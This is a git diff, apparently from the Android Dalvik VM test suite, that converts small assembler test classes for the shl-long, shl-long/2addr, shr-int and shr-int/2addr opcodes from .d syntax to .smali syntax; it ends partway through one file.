--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2.java
-.class public dot.junit.opcodes.shl_long.d.T_shl_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shl-long v0, v8, v11
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.smali
new file mode 100644
index 0000000..0247229
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long v0, v8, v11
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.d
deleted file mode 100644
index 0f33164..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_3.java
-.class public dot.junit.opcodes.shl_long.d.T_shl_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 11
-
-       shl-long v0, v7, v9
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.smali
new file mode 100644
index 0000000..08babca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_3.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 11
+
+       shl-long v0, v7, v9
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.d
deleted file mode 100644
index 4392e2a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_4.java
-.class public dot.junit.opcodes.shl_long.d.T_shl_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)J
-.limit regs 11
-
-       shl-long v0, v9, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.smali
new file mode 100644
index 0000000..2b3abcc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_4.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)J
+.registers 11
+
+       shl-long v0, v9, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.d
deleted file mode 100644
index 29ad593..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_5.java
-.class public dot.junit.opcodes.shl_long.d.T_shl_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)J
-.limit regs 11
-
-       shl-long v0, v9, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.smali
new file mode 100644
index 0000000..a754ea5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_5.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)J
+.registers 11
+
+       shl-long v0, v9, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.d
deleted file mode 100644
index 105c0e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_6.java
-.class public dot.junit.opcodes.shl_long.d.T_shl_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shl-long v0, v7, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.smali
new file mode 100644
index 0000000..01b2e91
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_6.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long v0, v7, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.d
deleted file mode 100644
index ed9faf0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_7.java
-.class public dot.junit.opcodes.shl_long.d.T_shl_long_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)J
-.limit regs 11
-
-       shl-long v0, v8, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.smali
new file mode 100644
index 0000000..f7e48ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_7.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 11
+
+       shl-long v0, v8, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.d
deleted file mode 100644
index b2e3bb9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2addr_1.java
-.class public dot.junit.opcodes.shl_long_2addr.d.T_shl_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shl-long/2addr v8, v10
-       return-wide v8
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.smali
new file mode 100644
index 0000000..07e2242
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long/2addr v8, v10
+       return-wide v8
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.d
deleted file mode 100644
index fd4598a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2addr_2.java
-.class public dot.junit.opcodes.shl_long_2addr.d.T_shl_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shl-long/2addr v8, v11
-       return-wide v8
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.smali
new file mode 100644
index 0000000..c6882e1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long/2addr v8, v11
+       return-wide v8
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.d
deleted file mode 100644
index 41c08f5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2addr_3.java
-.class public dot.junit.opcodes.shl_long_2addr.d.T_shl_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 11
-
-       shl-long/2addr v7, v9
-       return-wide v7
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.smali
new file mode 100644
index 0000000..92cbc84
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 11
+
+       shl-long/2addr v7, v9
+       return-wide v7
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.d
deleted file mode 100644
index 4c69423..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2addr_4.java
-.class public dot.junit.opcodes.shl_long_2addr.d.T_shl_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)J
-.limit regs 11
-
-       shl-long/2addr v9, v10
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.smali
new file mode 100644
index 0000000..0aca40d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)J
+.registers 11
+
+       shl-long/2addr v9, v10
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.d
deleted file mode 100644
index bb9b45b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2addr_5.java
-.class public dot.junit.opcodes.shl_long_2addr.d.T_shl_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)J
-.limit regs 11
-
-       shl-long/2addr v9, v10
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.smali
new file mode 100644
index 0000000..196e347
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)J
+.registers 11
+
+       shl-long/2addr v9, v10
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.d
deleted file mode 100644
index 50738c4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2addr_6.java
-.class public dot.junit.opcodes.shl_long_2addr.d.T_shl_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shl-long/2addr v7, v10
-       return-wide v7
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.smali
new file mode 100644
index 0000000..6407de0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long/2addr v7, v10
+       return-wide v7
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.d
deleted file mode 100644
index 42b0717..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2addr_7.java
-.class public dot.junit.opcodes.shl_long_2addr.d.T_shl_long_2addr_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)J
-.limit regs 11
-
-       shl-long/2addr v8, v10
-       return-wide v8
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.smali
new file mode 100644
index 0000000..0607e41
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_7.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 11
+
+       shl-long/2addr v8, v10
+       return-wide v8
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.d
deleted file mode 100644
index 9eaa104..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_1.java
-.class public dot.junit.opcodes.shr_int.d.T_shr_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shr-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.smali
new file mode 100644
index 0000000..0ff376d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_1.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.d
deleted file mode 100644
index 8800018..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_2.java
-.class public dot.junit.opcodes.shr_int.d.T_shr_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shr-int v0, v6, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.smali
new file mode 100644
index 0000000..1e892d6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_2.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int v0, v6, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.d
deleted file mode 100644
index 1f0c5287..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_3.java
-.class public dot.junit.opcodes.shr_int.d.T_shr_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)I
-.limit regs 8
-
-       shr-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.smali
new file mode 100644
index 0000000..b430db2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_3.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       shr-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.d
deleted file mode 100644
index eede586..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_4.java
-.class public dot.junit.opcodes.shr_int.d.T_shr_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       shr-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.smali
new file mode 100644
index 0000000..4f40160
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_4.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       shr-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.d
deleted file mode 100644
index fe57998..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_5.java
-.class public dot.junit.opcodes.shr_int.d.T_shr_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shr-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.smali
new file mode 100644
index 0000000..1838f89
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_5.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.d
deleted file mode 100644
index 0323c5f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_6.java
-.class public dot.junit.opcodes.shr_int.d.T_shr_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       shr-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.smali
new file mode 100644
index 0000000..255dff8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_6.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       shr-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.d
deleted file mode 100644
index 28765b3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_2addr_1.java
-.class public dot.junit.opcodes.shr_int_2addr.d.T_shr_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shr-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.smali
new file mode 100644
index 0000000..e7de460
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
